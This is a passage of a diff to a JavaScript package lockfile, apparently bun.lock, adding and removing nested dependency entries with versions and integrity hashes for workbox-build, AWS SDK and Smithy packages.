- "workbox-build/@babel/preset-env/babel-plugin-polyfill-corejs2/@babel/helper-define-polyfill-provider": ["@babel/helper-define-polyfill-provider@0.5.0", "", { "dependencies": { "@babel/helper-compilation-targets": "^7.22.6", "@babel/helper-plugin-utils": "^7.22.5", "debug": "^4.1.1", "lodash.debounce": "^4.0.8", "resolve": "^1.14.2" }, "peerDependencies": { "@babel/core": "^7.4.0 || ^8.0.0-0 <8.0.0" } }, "sha512-NovQquuQLAQ5HuyjCz7WQP9MjRj7dx++yspwiyUiGl9ZyadHRSql1HZh5ogRd8W8w6YM6EQ/NTB8rgjLt5W65Q=="],
-
- "workbox-build/@babel/preset-env/babel-plugin-polyfill-corejs3/@babel/helper-define-polyfill-provider": ["@babel/helper-define-polyfill-provider@0.5.0", "", { "dependencies": { "@babel/helper-compilation-targets": "^7.22.6", "@babel/helper-plugin-utils": "^7.22.5", "debug": "^4.1.1", "lodash.debounce": "^4.0.8", "resolve": "^1.14.2" }, "peerDependencies": { "@babel/core": "^7.4.0 || ^8.0.0-0 <8.0.0" } }, "sha512-NovQquuQLAQ5HuyjCz7WQP9MjRj7dx++yspwiyUiGl9ZyadHRSql1HZh5ogRd8W8w6YM6EQ/NTB8rgjLt5W65Q=="],
-
- "workbox-build/@babel/preset-env/babel-plugin-polyfill-regenerator/@babel/helper-define-polyfill-provider": ["@babel/helper-define-polyfill-provider@0.5.0", "", { "dependencies": { "@babel/helper-compilation-targets": "^7.22.6", "@babel/helper-plugin-utils": "^7.22.5", "debug": "^4.1.1", "lodash.debounce": "^4.0.8", "resolve": "^1.14.2" }, "peerDependencies": { "@babel/core": "^7.4.0 || ^8.0.0-0 <8.0.0" } }, "sha512-NovQquuQLAQ5HuyjCz7WQP9MjRj7dx++yspwiyUiGl9ZyadHRSql1HZh5ogRd8W8w6YM6EQ/NTB8rgjLt5W65Q=="],
-
- "workbox-build/@babel/preset-env/core-js-compat/browserslist": ["browserslist@4.28.0", "", { "dependencies": { "baseline-browser-mapping": "^2.8.25", "caniuse-lite": "^1.0.30001754", "electron-to-chromium": "^1.5.249", "node-releases": "^2.0.27", "update-browserslist-db": "^1.1.4" }, "bin": "cli.js" }, "sha512-tbydkR/CxfMwelN0vwdP/pLkDwyAASZ+VfWm4EOwlB6SWhx1sYnWLqo8N5j0rAzPfzfRaxt0mM/4wPU/Su84RQ=="],
+ "workbox-build/@babel/core/@babel/helper-module-transforms/@babel/helper-module-imports": ["@babel/helper-module-imports@7.28.6", "", { "dependencies": { "@babel/traverse": "^7.28.6", "@babel/types": "^7.28.6" } }, "sha512-l5XkZK7r7wa9LucGw9LwZyyCUscb4x37JWTPz7swwFE/0FMQAGpiWUZn8u9DzkSBWEcK25jmvubfpw2dnAMdbw=="],
"workbox-build/@rollup/plugin-replace/@rollup/pluginutils/@types/estree": ["@types/estree@0.0.39", "", {}, "sha512-EYNwp3bU+98cpU4lAWYYL7Zz+2gryWH1qbdDTidVd6hkiR6weksdbMadyXKXNPEkQFhXM+hVO9ZygomHXp+AIw=="],
@@ -8373,28 +8031,34 @@
"workbox-build/@rollup/plugin-replace/@rollup/pluginutils/picomatch": ["picomatch@2.3.1", "", {}, "sha512-JU3teHTNjmE2VCGFzuY8EXzCDVwEqB2a8fsIvwaStHhAWJEeVd1o1QD80CU6+ZdEXXSLbSsuLwJjkCBWqRQUVA=="],
+ "workbox-build/glob/jackspeak/@isaacs/cliui": ["@isaacs/cliui@9.0.0", "", {}, "sha512-AokJm4tuBHillT+FpMtxQ60n8ObyXBatq7jD2/JA9dxbDDokKQm8KMht5ibGzLVU9IJDIKK4TPKgMHEYMn3lMg=="],
+
+ "workbox-build/glob/path-scurry/lru-cache": ["lru-cache@11.2.2", "", {}, "sha512-F9ODfyqML2coTIsQpSkRHnLSZMtkU8Q+mSfcaIyKwy58u+8k5nvAYeiNhsyMARvzNcXJ9QfWVrcPsC9e9rAxtg=="],
+
"workbox-build/source-map/whatwg-url/tr46": ["tr46@1.0.1", "", { "dependencies": { "punycode": "^2.1.0" } }, "sha512-dTpowEjclQ7Kgx5SdBkqRzVhERQXov8/l9Ft9dVM9fmg0W0KQSVaXX9T4i6twCPNtYiZM53lpSSUAwJbFPOHxA=="],
"workbox-build/source-map/whatwg-url/webidl-conversions": ["webidl-conversions@4.0.2", "", {}, "sha512-YQ+BmxuTgd6UXZW3+ICGfyqRyHXVlD5GtQr5+qjiNW7bF0cqrzX500HVXPBOvgXb5YnzDd+h0zqyv61KUD7+Sg=="],
- "@aws-sdk/client-bedrock-agent-runtime/@aws-sdk/core/@aws-sdk/xml-builder/fast-xml-parser/strnum": ["strnum@2.1.1", "", {}, "sha512-7ZvoFTiCnGxBtDqJ//Cu6fWtZtc7Y3x+QOirG15wztbdngGSkht27o2pyGWrVy0b4WAy3jbKmnoK6g5VlVNUUw=="],
-
"@aws-sdk/client-bedrock-agent-runtime/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-http/@smithy/util-stream/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew=="],
+ "@aws-sdk/client-bedrock-agent-runtime/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-http/@smithy/util-stream/@smithy/util-hex-encoding": ["@smithy/util-hex-encoding@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-CCQBwJIvXMLKxVbO88IukazJD9a4kQ9ZN7/UMGBjBcJYvatpWk+9g870El4cB8/EJxfe+k+y0GmR9CAzkF+Nbw=="],
+
"@aws-sdk/client-bedrock-agent-runtime/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/token-providers/@aws-sdk/nested-clients": ["@aws-sdk/nested-clients@3.927.0", "", { "dependencies": { "@aws-crypto/sha256-browser": "5.2.0", "@aws-crypto/sha256-js": "5.2.0", "@aws-sdk/core": "3.927.0", "@aws-sdk/middleware-host-header": "3.922.0", "@aws-sdk/middleware-logger": "3.922.0", "@aws-sdk/middleware-recursion-detection": "3.922.0", "@aws-sdk/middleware-user-agent": "3.927.0", "@aws-sdk/region-config-resolver": "3.925.0", "@aws-sdk/types": "3.922.0", "@aws-sdk/util-endpoints": "3.922.0", "@aws-sdk/util-user-agent-browser": "3.922.0", "@aws-sdk/util-user-agent-node": "3.927.0", "@smithy/config-resolver": "^4.4.2", "@smithy/core": "^3.17.2", "@smithy/fetch-http-handler": "^5.3.5", "@smithy/hash-node": "^4.2.4", "@smithy/invalid-dependency": "^4.2.4", "@smithy/middleware-content-length": "^4.2.4", "@smithy/middleware-endpoint": "^4.3.6", "@smithy/middleware-retry": "^4.4.6", "@smithy/middleware-serde": "^4.2.4", "@smithy/middleware-stack": "^4.2.4", "@smithy/node-config-provider": "^4.3.4", "@smithy/node-http-handler": "^4.4.4", "@smithy/protocol-http": "^5.3.4", "@smithy/smithy-client": "^4.9.2", "@smithy/types": "^4.8.1", "@smithy/url-parser": "^4.2.4", "@smithy/util-base64": "^4.3.0", "@smithy/util-body-length-browser": "^4.2.0", "@smithy/util-body-length-node": "^4.2.1", "@smithy/util-defaults-mode-browser": "^4.3.5", "@smithy/util-defaults-mode-node": "^4.2.8", "@smithy/util-endpoints": "^3.2.4", "@smithy/util-middleware": "^4.2.4", "@smithy/util-retry": "^4.2.4", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-Oy6w7+fzIdr10DhF/HpfVLy6raZFTdiE7pxS1rvpuj2JgxzW2y6urm2sYf3eLOpMiHyuG4xUBwFiJpU9CCEvJA=="],
"@aws-sdk/client-bedrock-agent-runtime/@smithy/core/@smithy/util-stream/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="],
- "@aws-sdk/client-bedrock-agent-runtime/@smithy/smithy-client/@smithy/util-stream/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="],
+ "@aws-sdk/client-bedrock-agent-runtime/@smithy/eventstream-serde-browser/@smithy/eventstream-serde-universal/@smithy/eventstream-codec/@smithy/util-hex-encoding": ["@smithy/util-hex-encoding@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-CCQBwJIvXMLKxVbO88IukazJD9a4kQ9ZN7/UMGBjBcJYvatpWk+9g870El4cB8/EJxfe+k+y0GmR9CAzkF+Nbw=="],
- "@aws-sdk/client-bedrock-runtime/@aws-sdk/core/@aws-sdk/xml-builder/fast-xml-parser/strnum": ["strnum@2.1.1", "", {}, "sha512-7ZvoFTiCnGxBtDqJ//Cu6fWtZtc7Y3x+QOirG15wztbdngGSkht27o2pyGWrVy0b4WAy3jbKmnoK6g5VlVNUUw=="],
+ "@aws-sdk/client-bedrock-agent-runtime/@smithy/eventstream-serde-node/@smithy/eventstream-serde-universal/@smithy/eventstream-codec/@smithy/util-hex-encoding": ["@smithy/util-hex-encoding@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-CCQBwJIvXMLKxVbO88IukazJD9a4kQ9ZN7/UMGBjBcJYvatpWk+9g870El4cB8/EJxfe+k+y0GmR9CAzkF+Nbw=="],
+
+ "@aws-sdk/client-bedrock-agent-runtime/@smithy/smithy-client/@smithy/util-stream/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="],
"@aws-sdk/client-cognito-identity/@smithy/smithy-client/@smithy/util-stream/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@3.0.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-+Fsu6Q6C4RSJiy81Y8eApjEB5gVtM+oFKTffg+jSuwtvomJJrhUJBu2zS8wjXSgH/g1MKEWrzyChTBe6clb5FQ=="],
- "@aws-sdk/client-kendra/@aws-sdk/core/@aws-sdk/xml-builder/fast-xml-parser/strnum": ["strnum@2.1.1", "", {}, "sha512-7ZvoFTiCnGxBtDqJ//Cu6fWtZtc7Y3x+QOirG15wztbdngGSkht27o2pyGWrVy0b4WAy3jbKmnoK6g5VlVNUUw=="],
-
"@aws-sdk/client-kendra/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-http/@smithy/util-stream/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew=="],
+ "@aws-sdk/client-kendra/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-http/@smithy/util-stream/@smithy/util-hex-encoding": ["@smithy/util-hex-encoding@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-CCQBwJIvXMLKxVbO88IukazJD9a4kQ9ZN7/UMGBjBcJYvatpWk+9g870El4cB8/EJxfe+k+y0GmR9CAzkF+Nbw=="],
+
"@aws-sdk/client-kendra/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/token-providers/@aws-sdk/nested-clients": ["@aws-sdk/nested-clients@3.927.0", "", { "dependencies": { "@aws-crypto/sha256-browser": "5.2.0", "@aws-crypto/sha256-js": "5.2.0", "@aws-sdk/core": "3.927.0", "@aws-sdk/middleware-host-header": "3.922.0", "@aws-sdk/middleware-logger": "3.922.0", "@aws-sdk/middleware-recursion-detection": "3.922.0", "@aws-sdk/middleware-user-agent": "3.927.0", "@aws-sdk/region-config-resolver": "3.925.0", "@aws-sdk/types": "3.922.0", "@aws-sdk/util-endpoints": "3.922.0", "@aws-sdk/util-user-agent-browser": "3.922.0", "@aws-sdk/util-user-agent-node": "3.927.0", "@smithy/config-resolver": "^4.4.2", "@smithy/core": "^3.17.2", "@smithy/fetch-http-handler": "^5.3.5", "@smithy/hash-node": "^4.2.4", "@smithy/invalid-dependency": "^4.2.4", "@smithy/middleware-content-length": "^4.2.4", "@smithy/middleware-endpoint": "^4.3.6", "@smithy/middleware-retry": "^4.4.6", "@smithy/middleware-serde": "^4.2.4", "@smithy/middleware-stack": "^4.2.4", "@smithy/node-config-provider": "^4.3.4", "@smithy/node-http-handler": "^4.4.4", "@smithy/protocol-http": "^5.3.4", "@smithy/smithy-client": "^4.9.2", "@smithy/types": "^4.8.1", "@smithy/url-parser": "^4.2.4", "@smithy/util-base64": "^4.3.0", "@smithy/util-body-length-browser": "^4.2.0", "@smithy/util-body-length-node": "^4.2.1", "@smithy/util-defaults-mode-browser": "^4.3.5", "@smithy/util-defaults-mode-node": "^4.2.8", "@smithy/util-endpoints": "^3.2.4", "@smithy/util-middleware": "^4.2.4", "@smithy/util-retry": "^4.2.4", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-Oy6w7+fzIdr10DhF/HpfVLy6raZFTdiE7pxS1rvpuj2JgxzW2y6urm2sYf3eLOpMiHyuG4xUBwFiJpU9CCEvJA=="],
"@aws-sdk/client-kendra/@smithy/core/@smithy/util-stream/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="],
@@ -8409,76 +8073,86 @@
"@aws-sdk/credential-provider-http/@smithy/smithy-client/@smithy/middleware-endpoint/@smithy/url-parser/@smithy/querystring-parser": ["@smithy/querystring-parser@3.0.3", "", { "dependencies": { "@smithy/types": "^3.3.0", "tslib": "^2.6.2" } }, "sha512-zahM1lQv2YjmznnfQsWbYojFe55l0SLG/988brlLv1i8z3dubloLF+75ATRsqPBboUXsW6I9CPGE5rQgLfY0vQ=="],
- "@aws-sdk/credential-provider-login/@aws-sdk/core/@aws-sdk/xml-builder/fast-xml-parser/strnum": ["strnum@2.1.1", "", {}, "sha512-7ZvoFTiCnGxBtDqJ//Cu6fWtZtc7Y3x+QOirG15wztbdngGSkht27o2pyGWrVy0b4WAy3jbKmnoK6g5VlVNUUw=="],
+ "@aws-sdk/s3-request-presigner/@aws-sdk/signature-v4-multi-region/@aws-sdk/middleware-sdk-s3/@aws-sdk/core/@smithy/property-provider": ["@smithy/property-provider@4.0.1", "", { "dependencies": { "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-o+VRiwC2cgmk/WFV0jaETGOtX16VNPp2bSQEzu0whbReqE1BMqsP2ami2Vi3cbGVdKu1kq9gQkDAGKbt0WOHAQ=="],
- "@aws-sdk/credential-provider-login/@aws-sdk/core/@smithy/core/@smithy/util-stream/@smithy/fetch-http-handler": ["@smithy/fetch-http-handler@5.3.7", "", { "dependencies": { "@smithy/protocol-http": "^5.3.6", "@smithy/querystring-builder": "^4.2.6", "@smithy/types": "^4.10.0", "@smithy/util-base64": "^4.3.0", "tslib": "^2.6.2" } }, "sha512-fcVap4QwqmzQwQK9QU3keeEpCzTjnP9NJ171vI7GnD7nbkAIcP9biZhDUx88uRH9BabSsQDS0unUps88uZvFIQ=="],
+ "@aws-sdk/s3-request-presigner/@aws-sdk/signature-v4-multi-region/@aws-sdk/middleware-sdk-s3/@smithy/core/@smithy/middleware-serde": ["@smithy/middleware-serde@4.0.2", "", { "dependencies": { "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-Sdr5lOagCn5tt+zKsaW+U2/iwr6bI9p08wOkCp6/eL6iMbgdtc2R5Ety66rf87PeohR0ExI84Txz9GYv5ou3iQ=="],
- "@aws-sdk/credential-provider-login/@aws-sdk/core/@smithy/core/@smithy/util-stream/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew=="],
+ "@aws-sdk/s3-request-presigner/@aws-sdk/signature-v4-multi-region/@aws-sdk/middleware-sdk-s3/@smithy/core/@smithy/util-body-length-browser": ["@smithy/util-body-length-browser@4.0.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-sNi3DL0/k64/LO3A256M+m3CDdG6V7WKWHdAiBBMUN8S3hK3aMPhwnPik2A/a2ONN+9doY9UxaLfgqsIRg69QA=="],
- "@aws-sdk/credential-provider-login/@aws-sdk/core/@smithy/smithy-client/@smithy/middleware-endpoint/@smithy/middleware-serde": ["@smithy/middleware-serde@4.2.7", "", { "dependencies": { "@smithy/protocol-http": "^5.3.6", "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-PFMVHVPgtFECeu4iZ+4SX6VOQT0+dIpm4jSPLLL6JLSkp9RohGqKBKD0cbiXdeIFS08Forp0UHI6kc0gIHenSA=="],
+ "@aws-sdk/s3-request-presigner/@aws-sdk/signature-v4-multi-region/@aws-sdk/middleware-sdk-s3/@smithy/node-config-provider/@smithy/property-provider": ["@smithy/property-provider@4.0.1", "", { "dependencies": { "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-o+VRiwC2cgmk/WFV0jaETGOtX16VNPp2bSQEzu0whbReqE1BMqsP2ami2Vi3cbGVdKu1kq9gQkDAGKbt0WOHAQ=="],
- "@aws-sdk/credential-provider-login/@aws-sdk/core/@smithy/smithy-client/@smithy/middleware-endpoint/@smithy/url-parser": ["@smithy/url-parser@4.2.6", "", { "dependencies": { "@smithy/querystring-parser": "^4.2.6", "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-tVoyzJ2vXp4R3/aeV4EQjBDmCuWxRa8eo3KybL7Xv4wEM16nObYh7H1sNfcuLWHAAAzb0RVyxUz1S3sGj4X+Tg=="],
+ "@aws-sdk/s3-request-presigner/@aws-sdk/signature-v4-multi-region/@aws-sdk/middleware-sdk-s3/@smithy/node-config-provider/@smithy/shared-ini-file-loader": ["@smithy/shared-ini-file-loader@4.0.1", "", { "dependencies": { "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-hC8F6qTBbuHRI/uqDgqqi6J0R4GtEZcgrZPhFQnMhfJs3MnUTGSnR1NSJCJs5VWlMydu0kJz15M640fJlRsIOw=="],
- "@aws-sdk/credential-provider-login/@aws-sdk/core/@smithy/smithy-client/@smithy/util-stream/@smithy/fetch-http-handler": ["@smithy/fetch-http-handler@5.3.7", "", { "dependencies": { "@smithy/protocol-http": "^5.3.6", "@smithy/querystring-builder": "^4.2.6", "@smithy/types": "^4.10.0", "@smithy/util-base64": "^4.3.0", "tslib": "^2.6.2" } }, "sha512-fcVap4QwqmzQwQK9QU3keeEpCzTjnP9NJ171vI7GnD7nbkAIcP9biZhDUx88uRH9BabSsQDS0unUps88uZvFIQ=="],
+ "@aws-sdk/s3-request-presigner/@aws-sdk/signature-v4-multi-region/@aws-sdk/middleware-sdk-s3/@smithy/util-stream/@smithy/fetch-http-handler": ["@smithy/fetch-http-handler@5.0.1", "", { "dependencies": { "@smithy/protocol-http": "^5.0.1", "@smithy/querystring-builder": "^4.0.1", "@smithy/types": "^4.1.0", "@smithy/util-base64": "^4.0.0", "tslib": "^2.6.2" } }, "sha512-3aS+fP28urrMW2KTjb6z9iFow6jO8n3MFfineGbndvzGZit3taZhKWtTorf+Gp5RpFDDafeHlhfsGlDCXvUnJA=="],
- "@aws-sdk/credential-provider-login/@aws-sdk/core/@smithy/smithy-client/@smithy/util-stream/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew=="],
+ "@aws-sdk/s3-request-presigner/@aws-sdk/signature-v4-multi-region/@aws-sdk/middleware-sdk-s3/@smithy/util-stream/@smithy/node-http-handler": ["@smithy/node-http-handler@4.0.3", "", { "dependencies": { "@smithy/abort-controller": "^4.0.1", "@smithy/protocol-http": "^5.0.1", "@smithy/querystring-builder": "^4.0.1", "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-dYCLeINNbYdvmMLtW0VdhW1biXt+PPCGazzT5ZjKw46mOtdgToQEwjqZSS9/EN8+tNs/RO0cEWG044+YZs97aA=="],
- "@aws-sdk/credential-provider-login/@aws-sdk/core/@smithy/util-base64/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="],
+ "@aws-sdk/s3-request-presigner/@aws-sdk/signature-v4-multi-region/@aws-sdk/middleware-sdk-s3/@smithy/util-stream/@smithy/util-base64": ["@smithy/util-base64@4.0.0", "", { "dependencies": { "@smithy/util-buffer-from": "^4.0.0", "@smithy/util-utf8": "^4.0.0", "tslib": "^2.6.2" } }, "sha512-CvHfCmO2mchox9kjrtzoHkWHxjHZzaFojLc8quxXY7WAAMAg43nuxwv95tATVgQFNDwd4M9S1qFzj40Ul41Kmg=="],
- "@aws-sdk/credential-provider-login/@aws-sdk/core/@smithy/util-utf8/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="],
+ "@aws-sdk/s3-request-presigner/@aws-sdk/signature-v4-multi-region/@aws-sdk/middleware-sdk-s3/@smithy/util-stream/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.0.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.0.0", "tslib": "^2.6.2" } }, "sha512-9TOQ7781sZvddgO8nxueKi3+yGvkY35kotA0Y6BWRajAv8jjmigQ1sBwz0UX47pQMYXJPahSKEKYFgt+rXdcug=="],
- "@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/nested-clients/@smithy/node-http-handler/@smithy/abort-controller": ["@smithy/abort-controller@4.0.1", "", { "dependencies": { "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-fiUIYgIgRjMWznk6iLJz35K2YxSLHzLBA/RC6lBrKfQ8fHbPfvk7Pk9UvpKoHgJjI18MnbPuEju53zcVy6KF1g=="],
+ "@aws-sdk/s3-request-presigner/@aws-sdk/signature-v4-multi-region/@aws-sdk/middleware-sdk-s3/@smithy/util-stream/@smithy/util-hex-encoding": ["@smithy/util-hex-encoding@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-CCQBwJIvXMLKxVbO88IukazJD9a4kQ9ZN7/UMGBjBcJYvatpWk+9g870El4cB8/EJxfe+k+y0GmR9CAzkF+Nbw=="],
- "@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/nested-clients/@smithy/node-http-handler/@smithy/querystring-builder": ["@smithy/querystring-builder@4.0.1", "", { "dependencies": { "@smithy/types": "^4.1.0", "@smithy/util-uri-escape": "^4.0.0", "tslib": "^2.6.2" } }, "sha512-wU87iWZoCbcqrwszsOewEIuq+SU2mSoBE2CcsLwE0I19m0B2gOJr1MVjxWcDQYOzHbR1xCk7AcOBbGFUYOKvdg=="],
+ "@aws-sdk/s3-request-presigner/@aws-sdk/signature-v4-multi-region/@aws-sdk/middleware-sdk-s3/@smithy/util-utf8/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.0.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.0.0", "tslib": "^2.6.2" } }, "sha512-9TOQ7781sZvddgO8nxueKi3+yGvkY35kotA0Y6BWRajAv8jjmigQ1sBwz0UX47pQMYXJPahSKEKYFgt+rXdcug=="],
- "@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/client-sso/@smithy/node-http-handler/@smithy/abort-controller": ["@smithy/abort-controller@4.0.1", "", { "dependencies": { "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-fiUIYgIgRjMWznk6iLJz35K2YxSLHzLBA/RC6lBrKfQ8fHbPfvk7Pk9UvpKoHgJjI18MnbPuEju53zcVy6KF1g=="],
+ "@aws-sdk/s3-request-presigner/@aws-sdk/signature-v4-multi-region/@smithy/signature-v4/@smithy/util-utf8/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew=="],
- "@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/client-sso/@smithy/node-http-handler/@smithy/querystring-builder": ["@smithy/querystring-builder@4.0.1", "", { "dependencies": { "@smithy/types": "^4.1.0", "@smithy/util-uri-escape": "^4.0.0", "tslib": "^2.6.2" } }, "sha512-wU87iWZoCbcqrwszsOewEIuq+SU2mSoBE2CcsLwE0I19m0B2gOJr1MVjxWcDQYOzHbR1xCk7AcOBbGFUYOKvdg=="],
+ "@aws-sdk/s3-request-presigner/@smithy/middleware-endpoint/@smithy/core/@smithy/util-stream/@smithy/fetch-http-handler": ["@smithy/fetch-http-handler@5.0.1", "", { "dependencies": { "@smithy/protocol-http": "^5.0.1", "@smithy/querystring-builder": "^4.0.1", "@smithy/types": "^4.1.0", "@smithy/util-base64": "^4.0.0", "tslib": "^2.6.2" } }, "sha512-3aS+fP28urrMW2KTjb6z9iFow6jO8n3MFfineGbndvzGZit3taZhKWtTorf+Gp5RpFDDafeHlhfsGlDCXvUnJA=="],
- "@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/token-providers/@aws-sdk/nested-clients/@smithy/node-http-handler": ["@smithy/node-http-handler@4.0.3", "", { "dependencies": { "@smithy/abort-controller": "^4.0.1", "@smithy/protocol-http": "^5.0.1", "@smithy/querystring-builder": "^4.0.1", "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-dYCLeINNbYdvmMLtW0VdhW1biXt+PPCGazzT5ZjKw46mOtdgToQEwjqZSS9/EN8+tNs/RO0cEWG044+YZs97aA=="],
+ "@aws-sdk/s3-request-presigner/@smithy/middleware-endpoint/@smithy/core/@smithy/util-stream/@smithy/node-http-handler": ["@smithy/node-http-handler@4.0.3", "", { "dependencies": { "@smithy/abort-controller": "^4.0.1", "@smithy/protocol-http": "^5.0.1", "@smithy/querystring-builder": "^4.0.1", "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-dYCLeINNbYdvmMLtW0VdhW1biXt+PPCGazzT5ZjKw46mOtdgToQEwjqZSS9/EN8+tNs/RO0cEWG044+YZs97aA=="],
- "@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/nested-clients/@smithy/node-http-handler/@smithy/abort-controller": ["@smithy/abort-controller@4.0.1", "", { "dependencies": { "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-fiUIYgIgRjMWznk6iLJz35K2YxSLHzLBA/RC6lBrKfQ8fHbPfvk7Pk9UvpKoHgJjI18MnbPuEju53zcVy6KF1g=="],
+ "@aws-sdk/s3-request-presigner/@smithy/middleware-endpoint/@smithy/core/@smithy/util-stream/@smithy/util-base64": ["@smithy/util-base64@4.0.0", "", { "dependencies": { "@smithy/util-buffer-from": "^4.0.0", "@smithy/util-utf8": "^4.0.0", "tslib": "^2.6.2" } }, "sha512-CvHfCmO2mchox9kjrtzoHkWHxjHZzaFojLc8quxXY7WAAMAg43nuxwv95tATVgQFNDwd4M9S1qFzj40Ul41Kmg=="],
- "@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/nested-clients/@smithy/node-http-handler/@smithy/querystring-builder": ["@smithy/querystring-builder@4.0.1", "", { "dependencies": { "@smithy/types": "^4.1.0", "@smithy/util-uri-escape": "^4.0.0", "tslib": "^2.6.2" } }, "sha512-wU87iWZoCbcqrwszsOewEIuq+SU2mSoBE2CcsLwE0I19m0B2gOJr1MVjxWcDQYOzHbR1xCk7AcOBbGFUYOKvdg=="],
